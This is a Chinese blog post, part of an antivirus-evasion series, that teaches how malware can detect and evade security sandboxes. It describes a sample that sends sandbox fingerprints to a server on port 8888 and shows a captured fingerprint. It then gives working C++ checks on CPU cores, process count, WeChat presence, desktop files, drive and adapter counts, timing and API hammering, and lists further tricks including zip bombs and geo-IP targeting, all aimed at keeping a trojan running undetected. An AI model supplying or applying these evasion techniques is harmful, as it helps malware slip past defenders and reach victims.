25
2025
03
09:55:42

免杀系列之反沙箱【BypassSandBox】

         前言


近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检率。

其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说沙盒就是为运行中的程序提供的隔离环境。

为了逃避沙箱安全人员的检测,恶意软件使用了各类识别沙箱/虚拟机的技术,用于判断自身程序是否运行在沙箱/虚拟机中。

在我们讨论反沙箱之前,让我们先弄清楚什么是沙箱。




              什么是安全沙箱



安全沙箱是一种按照安全策略限制程序行为沙箱技术原理与实现的执行环境。

NIST将沙箱定义为“允许不受信任的应用程序在高度受控的环境中运行的系统,其中应用程序的权限被限制为一组基本的计算机权限”

沙箱其实可以分为软件硬件云上,三个方向。

软件常见的有sandboxie 用于沙箱中启动程序,VMware和Docker也算软件的沙箱实现

云上的就是我们常用的沙箱网站了例如:

  • https://s.threatbook.com/ 微步沙箱

  • https://www.virustotal.com/ VT

  • https://any.run/ 可交互式的沙箱

  • https://www.joesandbox.com/#windows joe沙箱

  • https://www.hybrid-analysis.com/ hybrid分析系统

  • https://sandbox.dbappsecurity.com.cn/ 安恒云沙箱

  • https://sandbox.ti.qianxin.com/sandbox/page 奇安信沙箱

  • https://sandbox.freebuf.com/ freebuf沙箱

  • https://ata.360.net/ 360云沙箱

  • https://habo.qq.com/ 哈勃沙箱





              沙箱运行过程



杀软沙箱的运行过程如下:

  1. 文件提交:用户或系统将可疑文件提交给杀软沙箱进行分析。

  2. 环境隔离:杀软沙箱会在一个受控的环境中运行可疑文件,通常是在虚拟机或容器中。这个环境与真实环境隔离开,以防止潜在的恶意文件对系统造成损害。

  3. 动态行为分析:在沙箱环境中,可疑文件会被执行或打开,以触发其潜在的恶意行为。杀软沙箱会监控文件的行为,包括文件的读写操作、网络通信、系统调用等。

  4. 恶意行为检测:杀软沙箱会对文件的行为进行分析,并与已知的恶意行为进行比对。它会检测是否有病毒、恶意软件、木马或其他恶意活动的迹象。虽然目前有多种技术可以使恶意软件绕过反病毒检测,但这些方法并非恶意软件免杀的终极目标。真正的目标是实现“FUD”(Fully Undetectable),即使恶意软件完全不被检测到的状态。在地下网络论坛中,“FUD”是一个常用术语。

  5. 报告生成:杀软沙箱会生成分析报告,包括文件的行为日志、检测结果和风险评估等信息。这些报告可以帮助安全专家或系统管理员了解文件的威胁程度,并采取相应的安全措施。

如下图所示:


免杀系列之反沙箱【BypassSandBox】






                  前提条件



  这里我本不想阐述,但是我得考虑大家的基础层次不齐,所以再啰嗦一句

前提:首先必须要过静态查杀

注:如果过不了静态查杀,那就进入不到沙箱这个环节,而是直接在落地后就会被杀。如果是这个情况,先不要考虑反沙箱。






                  分析沙箱

这是我的一个案例,只是做举例使用,更多的匹配还是需要使用不同的方法  :

运行后1. 获取进程列表如:tasklist /svc2. 获取当前工作目录及应用名称3. 获取systeminfo4. 获取cpu核心数5. 获取内存大小将以上获取到的内容获取后放置内存中,然后通过post发送到服务端的 8888端口。
server端用来接收,使用python监听8888端口。将C++程序发送的内容保存到1.txt中。

我们编写后,看到如下图,正在获取沙箱的基本信息



免杀系列之反沙箱【BypassSandBox】



以下是某T的特征:

ProcessList:
Image Name                     PID Services                                    ========================= ======== ============================================System Idle Process              0 N/A                                         System                           4 N/A                                         smss.exe                       256 N/A                                         csrss.exe                      344 N/A                                         csrss.exe                      416 N/A                                         wininit.exe                    432 N/A                                         winlogon.exe                   472 N/A                                         services.exe                   540 N/A                                         lsass.exe                      548 KeyIso, SamSs                               svchost.exe                    616 BrokerInfrastructure, DcomLaunch,                                             DeviceInstall, LSM, PlugPlay, Power,                                           SystemEventsBroker                          fontdrvhost.exe                636 N/A                                         fontdrvhost.exe                644 N/A                                         svchost.exe                    712 RpcEptMapper, RpcSs                         dwm.exe                        812 N/A                                         svchost.exe                    892 CertPropSvc, gpsvc, LanmanServer, lfsvc,                                       ProfSvc, Schedule, SENS, SessionEnv,                                           ShellHWDetection, TokenBroker, UserManager,                                   Winmgmt                                     svchost.exe                    928 CryptSvc, Dnscache, LanmanWorkstation,                                         NlaSvc, TermService                         svchost.exe                    964 AudioEndpointBuilder, NcbService,                                             UmRdpService, vmickvpexchange,                                                 vmicshutdown, vmicvss, WPDBusEnum           svchost.exe                   1004 Dhcp, EventLog, TimeBrokerSvc, vmictimesync svchost.exe                    340 BFE, CoreMessagingRegistrar, MpsSvc         svchost.exe                    632 EventSystem, FontCache, netprofm, nsi,                                         WinHttpAutoProxySvc                         svchost.exe                    800 vmicheartbeat, vmicrdv                      VSSVC.exe                     1408 VSS                                         svchost.exe                   1468 Audiosrv                                    svchost.exe                   1560 Wcmsvc                                      svchost.exe                   1576 DusmSvc                                     GoogleUpdate.exe              1800 N/A                                         SecurityHealthService.exe     1884 SecurityHealthService                       svchost.exe                   1892 StateRepository, tiledatamodelsvc           VmRemoteGuest.exe             1940 VmRemoteService                             sihost.exe                    1496 N/A                                         GoogleUpdate.exe              1596 N/A                                         taskhostw.exe                 1668 N/A                                         explorer.exe                  2200 N/A                                         svchost.exe                   2268 AppXSvc                                     ShellExperienceHost.exe       2572 N/A                                         SearchUI.exe                  2592 N/A                                         RuntimeBroker.exe             2720 N/A                                         WmiPrvSE.exe                  2828 N/A                                         backgroundTaskHost.exe        3052 N/A                                         RemindersServer.exe            996 N/A                                         msiexec.exe                   3804 msiserver                                   backgroundTaskHost.exe        4064 N/A                                         sppsvc.exe                     876 sppsvc                                      cmd.exe                       3608 N/A                                         conhost.exe                   2736 N/A                                         Detonate.exe                  2968 N/A                                         SppExtComObj.Exe              2492 N/A                                         Sysmon64.exe                  3204 Sysmon64                                    UpdaterSetup.exe              3320 N/A                                         unsecapp.exe                  4008 N/A                                         Sysmon64.exe                  4024 N/A                                         WmiPrvSE.exe                  1268 N/A                                         taskhostw.exe                 2148 N/A                                         check.exe                     1636 N/A                                         conhost.exe                   3288 N/A                                         tasklist.exe                  3040 N/A                                        
CurrentDirectory:CreateProcess failedSystemInfo:
Host Name:                 WIN-5E07COS9ALROS Name:                   Microsoft Windows 10 EnterpriseOS Version:                10.0.15063 N/A Build 15063OS Manufacturer:           Microsoft CorporationOS Configuration:          Standalone WorkstationOS Build Type:             Multiprocessor FreeRegistered Owner:          N/ARegistered Organization:   N/AProduct ID:                00329-00000-00003-AA343Original Install Date:     4/11/2017, 1:58:46 PMSystem Boot Time:          8/13/2024, 11:18:42 PMSystem Manufacturer:       Microsoft CorporationSystem Model:              Virtual MachineSystem Type:               x64-based PCProcessor(s):              1 Processor(s) Installed.                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2295 MhzBIOS Version:              American Megatrends Inc. 090008 , 12/7/2018Windows Directory:         C:\WindowsSystem Directory:          C:\Windows\system32Boot Device:               \Device\HarddiskVolume1System Locale:             en-us;English (United States)Input Locale:              en-us;English (United States)Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)Total Physical Memory:     1,024 MBAvailable Physical Memory: 303 MBVirtual Memory: Max Size:  2,752 MBVirtual Memory: Available: 2,131 MBVirtual Memory: In Use:    621 MBPage File Location(s):     C:\pagefile.sysDomain:                    WORKGROUPLogon Server:              \\WIN-5E07COS9ALRHotfix(s):                 N/ANetwork Card(s):           1 NIC(s) Installed.                           [01]: Microsoft Hyper-V Network Adapter                                 Connection Name: Ethernet 4                                 DHCP Enabled:    No                                 IP address(es)                                 [01]: 192.168.0.48                                 [02]: fe80::ac8a:3e65:183d:5ad1Hyper-V Requirements:      VM Monitor Mode Extensions: No                           Virtualization Enabled In Firmware: No                           Second Level Address Translation: No                           Data Execution Prevention Available: Yes
CpuCores:NumberOfCores  
1              



MemorySize:Capacity    
1073741824  





此时我们就可以编写代码,利用简单的方法绕过反沙箱如以下代码:









                  反沙箱代码



  1. 判断CPU核心数 dwNumberOfProcessors

#include <iostream>#include <windows.h>
int GetCPUCoreCount() {    SYSTEM_INFO sysInfo;    GetNativeSystemInfo(&sysInfo);    return sysInfo.dwNumberOfProcessors;}
bool IsCPUCoreCountLessThanTwo() {    int coreCount = GetCPUCoreCount();    return coreCount < 2;}
int main() {
   if (IsCPUCoreCountLessThanTwo()) {        std::cerr << "CPU核心数小于2,程序退出。" << std::endl;        return 1; // CPU核心数小于2,退出程序    }
   std::cout << "CPU核心数足够: " << GetCPUCoreCount() << std::endl;    // 其他Code
   return 0; // 正常退出}



  1. 检测进程数CreateToolhelp32Snapshot、Process32Next

检测当前环境的进程有没有超过60个,如果没有就退出

void BypassSimulation(){    HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (INVALID_HANDLE_VALUE == snapShot)    {        return;    }    PROCESSENTRY32 pe = { sizeof(pe) };    int num = 0;    for (BOOL ret = Process32First(snapShot, &pe); ret; ret = Process32Next(snapShot, &pe))    {        // 其他Code    }    if (num <= 60)    {        exit(1);    }}


  1. 检测微信(钓鱼)CreateToolhelp32Snapshot、Process32Next、Process32First

#include <iostream>#include <windows.h>#include <tlhelp32.h>#include <string>
bool IsProcessExists(const wchar_t* processName) {    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE) return false;
   PROCESSENTRY32 processEntry;    processEntry.dwSize = sizeof(PROCESSENTRY32);
   if (!Process32First(hSnapshot, &processEntry)) {        CloseHandle(hSnapshot);        return false;    }
   do {        if (_wcsicmp(processEntry.szExeFile, processName) == 0) {            CloseHandle(hSnapshot);            return true;        }    } while (Process32Next(hSnapshot, &processEntry));
   CloseHandle(hSnapshot);    return false;}
int main() {    // 检查进程是否存在    if (!IsProcessExists(L"WeChatAppEx.exe")) {        std::wcerr << L"进程 svchostex.exe 不存在,程序退出。" << std::endl;        return 1; // 进程不存在,退出程序    }
   std::wcout << L"进程 svchostex.exe 存在,程序继续运行。" << std::endl;    //MessageBox(NULL,L"1",L"1",MB_OK);    // 其他Code
   return 0; // 正常退出}


  1. 检测文件夹

检测程序运ji行的当前用户桌面是否存在文件夹或文件,如果存在,并其中之一大于3个则运行后续功能代码;如果没有满足条件,则程序

bool IsDesktopNotEmpty() {    wchar_t desktopPath[MAX_PATH];    if (SHGetSpecialFolderPathW(NULL, desktopPath, CSIDL_DESKTOPDIRECTORY, FALSE)) {        WIN32_FIND_DATA findFileData;        HANDLE hFind = FindFirstFileW((std::wstring(desktopPath) + L"\\*").c_str(), &findFileData);        if (hFind != INVALID_HANDLE_VALUE) {            int fileCount = 0;            do {                if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {                    // Skip directories (including "." and "..")                    if (wcscmp(findFileData.cFileName, L".") != 0 && wcscmp(findFileData.cFileName, L"..") != 0) {                        fileCount++;                    }                }                else {                    fileCount++;                }            } while (FindNextFileW(hFind, &findFileData) != 0);            FindClose(hFind);            return fileCount > 3;        }    }    return false;}

int main() {    // 检查当前用户桌面是否存在文件夹或文件    if (IsDesktopNotEmpty()) {        // 如果满足条件,继续执行后续功能       //MessageBox(NULL,L"1",L"1",MB_OK);    // 其他Code    }    else {        // 如果不满足条件,程序退出        exit(0);    }
   return 0; // 正常退出}


  1. 引用API大量读写操作延时

(ApiHamme.c)实现了一个名为ApiHammering的函数,首先是创建临时文件并写入随机数据,然后是获取临时文件夹路径,然后是循环创建临时文件并写入随机数据,清理数据,使用时反复操作2000次,运行程序时,磁盘疯狂读写,蓝队看了都流泪。

#include <Windows.h>#include <iostream>#include <ctime>#include <cstdlib>#include <crtdbg.h> // 引入用于调试内存分配
#define TMPFILE L"delays.tmp"
BOOL ApiHammering(DWORD Stress) {    WCHAR szPath[MAX_PATH * 2];    WCHAR szTmpPath[MAX_PATH];    HANDLE hFile = INVALID_HANDLE_VALUE;    PBYTE pRandBuffer = NULL;    SIZE_T sBufferSize = 0xFFFFF; // 定义缓冲区大小,注意这可能对于32位系统太大    DWORD dwError = ERROR_SUCCESS; // 定义错误代码变量,默认为无错误
   // 获取临时文件夹路径    if (!GetTempPathW(MAX_PATH, szTmpPath)) {        dwError = GetLastError();        goto Cleanup;    }
   // 构建完整文件路径    wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);
   for (DWORD i = 0; i < Stress; i++) {        // 分配缓冲区内存        pRandBuffer = static_cast<PBYTE>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize));        if (pRandBuffer == NULL) {            dwError = GetLastError();            goto Cleanup;        }
       // 初始化随机数种子        srand(static_cast<unsigned int>(time(NULL)));        INT Random = rand() % 0xFF;        // 使用随机数填充缓冲区        for (SIZE_T j = 0; j < sBufferSize; j++) {            pRandBuffer[j] = static_cast<BYTE>(Random);        }
       // 以写入模式创建文件        hFile = CreateFileW(szPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL);        if (hFile == INVALID_HANDLE_VALUE) {            dwError = GetLastError();            goto Cleanup;        }
       // 向文件写入随机数据        if (!WriteFile(hFile, pRandBuffer, static_cast<DWORD>(sBufferSize), NULL, NULL) ||            !FlushFileBuffers(hFile)) { // 确保数据写入磁盘            dwError = GetLastError();            CloseHandle(hFile);            goto Cleanup;        }
       CloseHandle(hFile); // 关闭文件句柄
       // 以读取模式打开文件,并设置关闭时删除文件        hFile = CreateFileW(szPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL);        if (hFile == INVALID_HANDLE_VALUE) {            dwError = GetLastError();            goto Cleanup;        }
       // 读取之前写入的随机数据        if (!ReadFile(hFile, pRandBuffer, static_cast<DWORD>(sBufferSize), NULL, NULL)) {            dwError = GetLastError();            CloseHandle(hFile);            goto Cleanup;        }
       CloseHandle(hFile); // 关闭文件句柄    }
Cleanup:    if (pRandBuffer) {        HeapFree(GetProcessHeap(), 0, pRandBuffer);    }    if (hFile != INVALID_HANDLE_VALUE) {        CloseHandle(hFile);    }    return (dwError == ERROR_SUCCESS); // 如果没有错误发生,返回 TRUE}
int main() {    _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF); // 启用调试内存分配
   if (ApiHammering(2000)) {        std::wcout << L"API Hammering completed successfully." << std::endl;    }    else {        DWORD dwError = GetLastError(); // 获取错误代码        std::wcerr << L"API Hammering failed with error code: " << dwError << std::endl;    }    return 0;}



  1. 检测内存页数量

#include <Windows.h>  #include <iostream>  using namespace std;
int GetNumPages() {      // 获取系统页面文件大小信息      MEMORYSTATUSEX statex;      statex.dwLength = sizeof(statex);      if (!GlobalMemoryStatusEx(&statex)) {          cerr << "Failed to get system memory status." << endl;          return 1;      }
   SYSTEM_INFO systemInfo;      GetSystemInfo(&systemInfo);      return statex.ullTotalPageFile / systemInfo.dwPageSize;  }
int main() {      int numPages = GetNumPages();      cout << numPages << endl;      if (numPages < 4000000) {          cout << "内存页小于正常值,可能处于虚拟机环境" << endl;          return 1;      }      return 0;  }


  1. 检测硬盘数量

#include <Windows.h>  #include <iostream>  using namespace std;
int GetNumDrives() {      DWORD drives = GetLogicalDrives();      int numDrives = 0;      for (char i = 0; i < 26; i++) {          if (drives & (1 << i)) {              char path\[4\];              sprintf_s(path, "%c:\\\", 'A' + i);              UINT type = GetDriveTypeA(path);              if (type == DRIVE\_FIXED || type == DRIVE\_REMOVABLE) {                  numDrives++;              }          }      }      return numDrives;  }
int main() {      int numDrives = GetNumDrives();      cout << numDrives << endl;      if (numDrives < 2) {          cout << "硬盘数量小于正常值,可能处于虚拟机环境" << endl;          return 1;      }      return 0;  }


  1. 检测网络适配器数量

#include <iostream>  #include <Winsock2.h>  #include <iphlpapi.h>  #include <windows.h>  using namespace std;  #pragma comment(lib, "iphlpapi.lib")
int GetNumAdapters() {      DWORD dwSize = 0;      GetAdaptersAddresses(AF\_UNSPEC, GAA\_FLAG\_INCLUDE\_PREFIX, NULL, NULL, &dwSize);      PIP\_ADAPTER\_ADDRESSES pAddresses = (PIP\_ADAPTER\_ADDRESSES)new BYTE\[dwSize\];      GetAdaptersAddresses(AF\_UNSPEC, GAA\_FLAG\_INCLUDE\_PREFIX, NULL, pAddresses, &dwSize);      int numAdapters = 0;      PIP\_ADAPTER\_ADDRESSES pCurrAddresses = pAddresses;      while (pCurrAddresses) {          if (pCurrAddresses->OperStatus == IfOperStatusUp) {              numAdapters++;          }          pCurrAddresses = pCurrAddresses->Next;      }      return numAdapters;  }
int main() {      int numAdapters = GetNumAdapters();      cout << numAdapters << endl;      if (numAdapters < 2) {          cout << "网络适配器数量小于正常值,可能处于虚拟机环境" << endl;          return 1;      }      return 0;  }


  1. 检测时间流速

沙箱一个都有时间加速,通过这段代码判断时间是否被加速来判断是否在沙箱。

#include <iostream>  #include <chrono>  #include <thread>  using namespace std;
bool detect_sandbox() {      bool is_sandbox = false;      auto start\_time = chrono::high\_resolution_clock::now();
   this\_thread::sleep\_for(chrono::milliseconds(100));
   auto end\_time = chrono::high\_resolution_clock::now();      auto elapsed\_time = chrono::duration\_cast<chrono::milliseconds>(end\_time - start\_time);
   if (elapsed_time.count() < 100) {          is_sandbox = true;      }
   return is_sandbox;  }
int main() {      if (detect_sandbox()) {          cout << "This program may be running in a sandbox!" << endl;      } else {          cout << "This program is not running in a sandbox." << endl;      }
   return 0;  }


等等等等,有很多,具体还是看实战环境。我在用语言描述几种,也算是给大家拓展思路:

常规

  • 判断CPU核心数 dwNumberOfProcessors

  • 判断RAM大小 GlobalMemoryStatus

  • 判断硬盘大小 PhysicalDrive0

  • 判断系统用户名

    • 以前有判断用户名的字典,现在一般都是DESKTOP-XXX随机的数字

  • 判断工作组(域)

进阶,这部分有一个专业的术语 Pocket Litter

  • 判断桌面上文件

    • 大多数沙箱桌面文件数量很少,且有各种office软件,但没有微信QQ之类的软件

    • 我们可以判断怎么文件数量小于某一个范围从而判断是否在沙箱

    • 判断桌面上有没有微信QQ企业微信,等符合国人常规习惯软件

  • 判断临时文件数量

    • 相反,临时文件比一般正常用户多也可以判断为是沙箱

  • 判断系统内有多少doc,xls,ppt类文件

    • 较少的都可能为沙箱

  • 判断自身文件名有没有被修改

  • 判断自身进程是否运行在一个时间范围内(apt常用,hvv常用)

  • 判断系统语言 GetSystemDefaultLangID

    • 俄罗斯APT常用手段,判断为俄语就退出进程

  • 判断自身被附加的dll制作黑名单

  • 判断ip

    • 按照目标来判断

    • 例如我们目标是国内,就判断是否非国内ip,从而反制国外沙箱

    • 或者范围缩小到地级市

  • 判断扬声器是否正常可调用

  • 判断麦克风是否有响应

  • 判断当前前台窗口数量

    • 虚拟机一般都较少

  • 判断鼠标是否移动

    • 之前很火的方法GetCursorPos

    • 获取坐标后延迟两次 获取向量 看结果是否为一个类三角形若真则不是沙箱

    • 因为在ATT&CK框架中被标识 所以列入敏感行为

  • 判断显卡显存大小

    • 一般家用机都为2gb以上,而沙箱不会给这么多

  • 判断系统变量

    • 一般判断是否有虚拟机相关文件的环境变量

  • 判断CPU温度

注意一下,建议使用GetSystemFirmwareTable api 获取SMBIOS中的硬件信息

使用wmi api将会变成敏感行为

还有其他奇奇怪怪的反沙箱方法

  • 体积膨胀

    • 很多在线反沙箱系统都有大小限制,若你的样本大于300mb即可不被接收

  • 反向收集

    • 编写一个用于收集沙箱指纹的样本,对沙箱的指纹进行归纳总结以便后面判断

  • 压缩炸弹

    • 释放压缩包炸弹,挤占服务器资源

还有并不是一个程序只可以使用一次反沙箱代码。我们可以组合起来使用如:首先检测CPU核心如果大于2再检测内存大小,如果还是通过我们可以再检测进程数,如果都满足则上线。不满足则退出。但是这样做可能会影响你的木马上线。如果没有代码功底还是尽量少用。




                     总结



沙箱技术不断进步,与此同时,反沙箱技术也在持续发展。目前,我们对沙箱的应用仍局限于较为机械的方式,但许多安全公司已开始开发融入人工智能的沙箱系统。因此,作为安全研究者,我们需不断提升技术水平,以跟上技术发展的步伐。




推荐本站淘宝优惠价购买喜欢的宝贝:

免杀系列之反沙箱【BypassSandBox】

本文链接:https://hqyman.cn/post/9687.html 非本站原创文章欢迎转载,原创文章需保留本站地址!

分享到:
打赏





休息一下~~


« 上一篇 下一篇 »

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

请先 登录 再评论,若不是会员请先 注册

您的IP地址是: